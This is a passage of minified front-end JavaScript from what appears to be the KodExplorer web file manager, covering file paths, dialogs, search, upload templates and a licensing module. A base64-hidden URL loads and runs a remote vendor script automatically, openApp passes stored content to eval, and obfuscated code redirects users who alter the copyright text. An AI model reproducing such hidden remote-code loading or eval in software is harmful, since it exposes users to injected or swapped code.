0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/"); -if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},f=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},u=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:f,systemData:u};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var 